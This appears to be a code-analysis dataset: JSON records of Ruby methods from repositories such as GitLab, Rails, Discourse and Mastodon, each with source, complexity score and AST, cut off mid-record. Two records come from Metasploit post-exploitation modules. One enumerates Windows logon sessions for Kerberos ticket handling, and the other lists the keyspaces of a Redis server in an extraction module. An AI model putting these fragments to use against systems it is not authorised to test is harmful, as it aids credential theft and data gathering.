{"repo_name":"forem","file_path":"./repos/forem/app/services/profile_fields/remove.rb","start_line":16,"raw_source":"def call\n      @profile_field = ProfileField.find(@id)\n      if @profile_field.destroy\n        remove_store_attributes\n        Profile.refresh_attributes!\n        @success = true\n      else\n        @error_message = @profile_field.errors_as_sentence\n      end\n      self\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@profile_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProfileField\"]},\"find\",{\"type\":\"ivar\",\"children\":[\"@id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_field\"]},\"destroy\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_store_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Profile\"]},\"refresh_attributes!\"]},{\"type\":\"ivasgn\",\"children\":[\"@success\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_message\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_field\"]},\"errors_as_sentence\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"89675133-8d6d-408a-9669-a6eccd82641b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/browser_console_helpers.rb","start_line":68,"raw_source":"def clear_browser_logs\n    @browser_logs = []\n\n    # why: We need to clear browser logs from Chromium, otherwise logs will spill over into other examples.\n    #      Chromium has a built-in behavior that clears it's logs when requested.\n    #      See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/162499#note_2060667250 for more info.\n    page.driver.browser.try(:logs)&.get(:browser)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_browser_logs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@browser_logs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"driver\"]},\"browser\"]},\"try\",{\"type\":\"sym\",\"children\":[\"logs\"]}]},\"get\",{\"type\":\"sym\",\"children\":[\"browser\"]}]}]}]}","id":"c60c54ad-310c-4a93-a2d2-71d25a757abd"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240717053710_drop_groups_smtp_ssl.rb","start_line":6,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"7c7ca23b-5c34-46ad-84ce-2536ea319b2a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/token_strategy/base.rb","start_line":77,"raw_source":"def self.configuration_params\n        Setting.plugin_openproject_two_factor_authentication[identifier.to_s]\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configuration_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"plugin_openproject_two_factor_authentication\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifier\"]},\"to_s\"]}]}]}","id":"a0b41d77-3bed-4e77-b219-c7a9ebe1f22f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2838,"raw_source":"def pages_variables\n    Gitlab::Ci::Variables::Collection.new.tap do |variables|\n      break unless pages_enabled?\n\n      variables\n        .append(key: 'CI_PAGES_DOMAIN', value: Gitlab.config.pages.host)\n        .append(key: 'CI_PAGES_HOSTNAME', value: pages_hostname)\n    end\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Variables\"]},\"Collection\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_enabled?\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PAGES_DOMAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"pages\"]},\"host\"]}]}]}]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PAGES_HOSTNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"pages_hostname\"]}]}]}]}]}]}]}","id":"6e348fbf-a77c-4a8a-801b-d361680484ac"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/reject_follow_service.rb","start_line":15,"raw_source":"def create_notification(follow_request)\n    ActivityPub::DeliveryWorker.perform_async(build_json(follow_request), follow_request.target_account_id, follow_request.account.inbox_url)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follow_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"DeliveryWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"build_json\",{\"type\":\"lvar\",\"children\":[\"follow_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow_request\"]},\"target_account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow_request\"]},\"account\"]},\"inbox_url\"]}]}]}","id":"e4285f3e-2822-4c54-b9de-d1fef44b07e9"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/initializable.rb","start_line":126,"raw_source":"def initializers_for(binding)\n        Collection.new(initializers_chain.map { |i| i.bind(binding) })\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initializers_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"binding\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Collection\"]},\"new\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initializers_chain\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"bind\",{\"type\":\"lvar\",\"children\":[\"binding\"]}]}]}]}]}","id":"ef450301-10c2-4913-bb7c-5fb6650cc9cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/service_matchers.rb","start_line":98,"raw_source":"def step_not_existing_message\n      \"Expected #{type} '#{name}' (key: '#{step}') was not found in the result object.\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"step_not_existing_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\" '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"' (key: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"step\"]}]},{\"type\":\"str\",\"children\":[\"') was not found in the result object.\"]}]}]}","id":"24c606cb-3f3a-42a2-be2c-99d54f5c1f54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/loaded_in_group_list.rb","start_line":94,"raw_source":"def project_count\n    @project_count ||= try(:preloaded_project_count) || projects.non_archived.count\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_count\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try\",{\"type\":\"sym\",\"children\":[\"preloaded_project_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\"]},\"non_archived\"]},\"count\"]}]}]}]}","id":"978b9e07-0d62-4321-96ba-5e92b858b4c9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/gzip_test.rb","start_line":36,"raw_source":"def test_decompress_checks_crc\n    compressed = ActiveSupport::Gzip.compress(\"Hello World\")\n    first_crc_byte_index = compressed.bytesize - 8\n    compressed.setbyte(first_crc_byte_index, compressed.getbyte(first_crc_byte_index) ^ 0xff)\n\n    assert_raises(Zlib::GzipFile::CRCError) do\n      ActiveSupport::Gzip.decompress(compressed)\n    end\n  end","complexity_score":12.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_decompress_checks_crc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compressed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Gzip\"]},\"compress\",{\"type\":\"str\",\"children\":[\"Hello World\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_crc_byte_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},\"bytesize\"]},\"-\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},\"setbyte\",{\"type\":\"lvar\",\"children\":[\"first_crc_byte_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},\"getbyte\",{\"type\":\"lvar\",\"children\":[\"first_crc_byte_index\"]}]},\"^\",{\"type\":\"int\",\"children\":[255]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipFile\"]},\"CRCError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Gzip\"]},\"decompress\",{\"type\":\"lvar\",\"children\":[\"compressed\"]}]}]}]}]}","id":"29b7c849-3ff3-4719-8c28-1a0a4d0098a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/kerberos_tickets.rb","start_line":144,"raw_source":"def action_enum_luids\n    current_luid = get_current_luid\n    luids = lsa_enumerate_logon_sessions\n    fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?\n\n    luids.each do |luid|\n      logon_session_data_ptr = lsa_get_logon_session_data(luid)\n      unless logon_session_data_ptr\n        print_status(\"LogonSession LUID: #{luid}\")\n        next\n      end\n\n      print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')\n      session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)\n    end\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"action_enum_luids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_luid\",{\"type\":\"send\",\"children\":[null,\"get_current_luid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"luids\",{\"type\":\"send\",\"children\":[null,\"lsa_enumerate_logon_sessions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luids\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to enumerate logon sessions.\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"luid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logon_session_data_ptr\",{\"type\":\"send\",\"children\":[null,\"lsa_get_logon_session_data\",{\"type\":\"lvar\",\"children\":[\"luid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logon_session_data_ptr\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LogonSession LUID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luid\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_logon_session_summary\",{\"type\":\"lvar\",\"children\":[\"logon_session_data_ptr\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"annotation\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"current_luid\"]}]},{\"type\":\"str\",\"children\":[\"%bld(current)%clr\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"secur32\"]},\"LsaFreeReturnBuffer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logon_session_data_ptr\"]},\"value\"]}]}]}]}]}]}","id":"cb5b5c81-cda8-4c27-87df-b540c24c9308"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/redis_extractor.rb","start_line":153,"raw_source":"def get_keyspace\n    ks = redis_command('INFO', 'keyspace')\n    ks = parse_redis_response(ks)\n    ks = ks.split(\"\\r\\n\")\n    result = []\n    ks.each do |k|\n      if /db(?<db>\\S+):/ =~ k && /keys=(?<keys>\\S+),expires/ =~ k\n        result.append([db, keys])\n      end\n    end\n    return result\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_keyspace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ks\",{\"type\":\"send\",\"children\":[null,\"redis_command\",{\"type\":\"str\",\"children\":[\"INFO\"]},{\"type\":\"str\",\"children\":[\"keyspace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ks\",{\"type\":\"send\",\"children\":[null,\"parse_redis_response\",{\"type\":\"lvar\",\"children\":[\"ks\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ks\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"db(?<db>\\\\S+):\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"keys=(?<keys>\\\\S+),expires\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"append\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"5a803df4-2edb-4a84-b6db-b1c4f84718c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/repository_check/single_repository_worker_spec.rb","start_line":101,"raw_source":"def create_push_event(project)\n    project.events.create!(action: :pushed, author_id: create(:user).id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_push_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"events\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"pushed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"id\"]}]}]}]}]}","id":"7700521d-0625-4dfb-ab88-46214f93a9fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/routing/snippets_helper.rb","start_line":32,"raw_source":"def gitlab_raw_snippet_blob_url(snippet, path, ref = nil, **options)\n      params = {\n        snippet_id: snippet,\n        ref: ref || snippet.default_branch,\n        path: path\n      }\n\n      if snippet.is_a?(ProjectSnippet)\n        project_snippet_blob_raw_url(snippet.project, **params, **options)\n      else\n        snippet_blob_raw_url(**params, **options)\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_raw_snippet_blob_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"ref\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"snippet_id\"]},{\"type\":\"lvar\",\"children\":[\"snippet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"default_branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"ProjectSnippet\"]}]},{\"type\":\"send\",\"children\":[null,\"project_snippet_blob_raw_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"snippet_blob_raw_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"38b6fc9d-cd84-4f80-9784-516b58b90a20"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/quoting_test.rb","start_line":224,"raw_source":"def test_type_cast_time\n        time = Time.now\n        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n          expected = time\n        else\n          expected = @conn.quoted_date(time)\n        end\n        assert_equal expected, @conn.type_cast(time)\n      end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_cast_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"quoted_date\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"type_cast\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]}]}","id":"54c48660-828a-4f10-89df-1e4b987992d5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/custom_fields/hierarchy/item_component.rb","start_line":44,"raw_source":"def wrapper_uniq_by\n          model.id\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_uniq_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"id\"]}]}","id":"69a087ae-5a51-4caa-91ab-ec72c3e01db4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/internal_events_matchers.rb","start_line":458,"raw_source":"def build_matcher\n    @key_paths.reduce(nil) do |matcher, key_path|\n      metric_definition = get_metric_definition(key_path)\n      value_tracker = metric_value_tracker(key_path, metric_definition)\n      change_matcher = yield(value_tracker)\n      chained_matcher = apply_chain_methods(change_matcher, @chained_methods)\n\n      matcher ? matcher.and(chained_matcher) : chained_matcher\n    end\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_matcher\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_paths\"]},\"reduce\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"arg\",\"children\":[\"key_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metric_definition\",{\"type\":\"send\",\"children\":[null,\"get_metric_definition\",{\"type\":\"lvar\",\"children\":[\"key_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value_tracker\",{\"type\":\"send\",\"children\":[null,\"metric_value_tracker\",{\"type\":\"lvar\",\"children\":[\"key_path\"]},{\"type\":\"lvar\",\"children\":[\"metric_definition\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"change_matcher\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_tracker\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chained_matcher\",{\"type\":\"send\",\"children\":[null,\"apply_chain_methods\",{\"type\":\"lvar\",\"children\":[\"change_matcher\"]},{\"type\":\"ivar\",\"children\":[\"@chained_methods\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"and\",{\"type\":\"lvar\",\"children\":[\"chained_matcher\"]}]},{\"type\":\"lvar\",\"children\":[\"chained_matcher\"]}]}]}]}]}","id":"cf1af104-5bb9-47b0-a87b-9699c2e4f737"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/metrics.rb","start_line":53,"raw_source":"def metrics_create(namespace: \"fluentd\", subsystem: \"metrics\", name:, help_text:, labels: {}, prefer_gauge: false)\n        metrics = if system_config.metrics\n                    Fluent::Plugin.new_metrics(system_config.metrics[:@type], parent: self)\n                  else\n                    Fluent::Plugin.new_metrics(Fluent::Plugin::Metrics::DEFAULT_TYPE, parent: self)\n                  end\n        config = if system_config.metrics\n                   system_config.metrics.corresponding_config_element\n                 else\n                   Fluent::Config::Element.new('metrics', '', {'@type' => Fluent::Plugin::Metrics::DEFAULT_TYPE}, [])\n                 end\n        metrics.use_gauge_metric = prefer_gauge\n        metrics.configure(config)\n        # For multi workers environment, cmetrics should be distinguish with static labels.\n        if Fluent::Engine.system_config.workers > 1\n          labels[:worker_id] = fluentd_worker_id.to_s\n        end\n        labels[:plugin] = @plugin_type_or_id\n        metrics.create(namespace: namespace, subsystem: subsystem, name: name, help_text: help_text, labels: labels)\n\n        @_metrics[\"#{@plugin_type_or_id}_#{namespace}_#{subsystem}_#{name}\"] = metrics\n\n        # define the getter method for the calling instance.\n        singleton_class.module_eval do\n          unless method_defined?(name)\n            define_method(name) { metrics.get }\n          end\n        end\n\n        metrics\n      end","complexity_score":52.5,"ast_json":"{\"type\":\"def\",\"children\":[\"metrics_create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"namespace\",{\"type\":\"str\",\"children\":[\"fluentd\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"subsystem\",{\"type\":\"str\",\"children\":[\"metrics\"]}]},{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"help_text\"]},{\"type\":\"kwoptarg\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"prefer_gauge\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metrics\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_config\"]},\"metrics\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"new_metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"system_config\"]},\"metrics\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"@type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"new_metrics\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Metrics\"]},\"DEFAULT_TYPE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"se